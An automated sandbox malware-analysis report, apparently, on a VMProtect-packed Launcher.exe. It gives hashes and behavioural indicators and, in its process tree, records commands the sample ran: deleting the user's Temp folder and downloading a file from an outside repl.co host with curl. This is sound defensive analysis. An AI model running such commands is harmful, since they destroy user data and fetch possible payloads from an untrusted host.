c6e7cbf1909e9bd738fba8b6a794204e4e62a55dd2e54e9ce5c2a15f42a2c7b1

Analysis

max time kernel
126s
max time network
136s
platform
windows10-1703_x64
resource
win10-20230703-en
resource tags

arch:x64arch:x86image:win10-20230703-enlocale:en-usos:windows10-1703-x64system
submitted
22/07/2023, 20:55

Target

Launcher.exe
Size

13.4MB
MD5

a59e34ee209cb8fe948f80230ca990ee
SHA1

522be1180b7d9a69d303a37b7065b735d1ef7030
SHA256

c6e7cbf1909e9bd738fba8b6a794204e4e62a55dd2e54e9ce5c2a15f42a2c7b1
SHA512

b4b2ac11742c6ac8eb9dd814eac60057859d91dcf901917de7caa0d74cdce86b094fbd22ea4f885802d056a174a546cff507b0169f57fa2c5004f298866e02fa
SSDEEP

393216:PNqrvMrVTjJ0ckbpslO84eGWVD7AZeU2ZJ:1qrMrV50ckEOj6Dc4U2

Score

7^/10

vmprotect

VMProtect packed file 3 IoCs

Detects executables packed with VMProtect commercial packer.

resource	yara_rule
behavioral1/memory/4948-119-0x00007FF685D80000-0x00007FF687662000-memory.dmp	vmprotect
behavioral1/memory/4948-121-0x00007FF685D80000-0x00007FF687662000-memory.dmp	vmprotect
behavioral1/memory/4948-125-0x00007FF685D80000-0x00007FF687662000-memory.dmp	vmprotect

Suspicious use of NtSetInformationThreadHideFromDebugger 1 IoCs

pid	Process
4948	Launcher.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4948	Launcher.exe
4948	Launcher.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4948 wrote to memory of 3588	4948	Launcher.exe	70
PID 4948 wrote to memory of 3588	4948	Launcher.exe	70
PID 4948 wrote to memory of 4232	4948	Launcher.exe	71
PID 4948 wrote to memory of 4232	4948	Launcher.exe	71
PID 4948 wrote to memory of 2372	4948	Launcher.exe	72
PID 4948 wrote to memory of 2372	4948	Launcher.exe	72
PID 4948 wrote to memory of 4972	4948	Launcher.exe	73
PID 4948 wrote to memory of 4972	4948	Launcher.exe	73

C:\Users\Admin\AppData\Local\Temp\Launcher.exe
"C:\Users\Admin\AppData\Local\Temp\Launcher.exe"
1⤵
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4948
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c title if this title changes the loader has successfully streamed!
  2⤵
  PID:3588
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c rmdir /S /Q %USERPROFILE%\AppData\Local\Temp
  2⤵
  PID:4232
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c curl -L https://file-uploader-1.walterwhiteman.repl.co/details/weed.emudisk.exe/download --output -
  2⤵
  PID:2372
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c cls
  2⤵
  PID:4972

memory/4948-119-0x00007FF685D80000-0x00007FF687662000-memory.dmp

Filesize
24.9MB

Download
memory/4948-118-0x00007FFF72E60000-0x00007FFF72E62000-memory.dmp

Filesize
8KB

Download
memory/4948-120-0x00007FFF72E70000-0x00007FFF72E72000-memory.dmp

Filesize
8KB

Download
memory/4948-121-0x00007FF685D80000-0x00007FF687662000-memory.dmp

Filesize
24.9MB

Download
memory/4948-125-0x00007FF685D80000-0x00007FF687662000-memory.dmp

Filesize
24.9MB

Download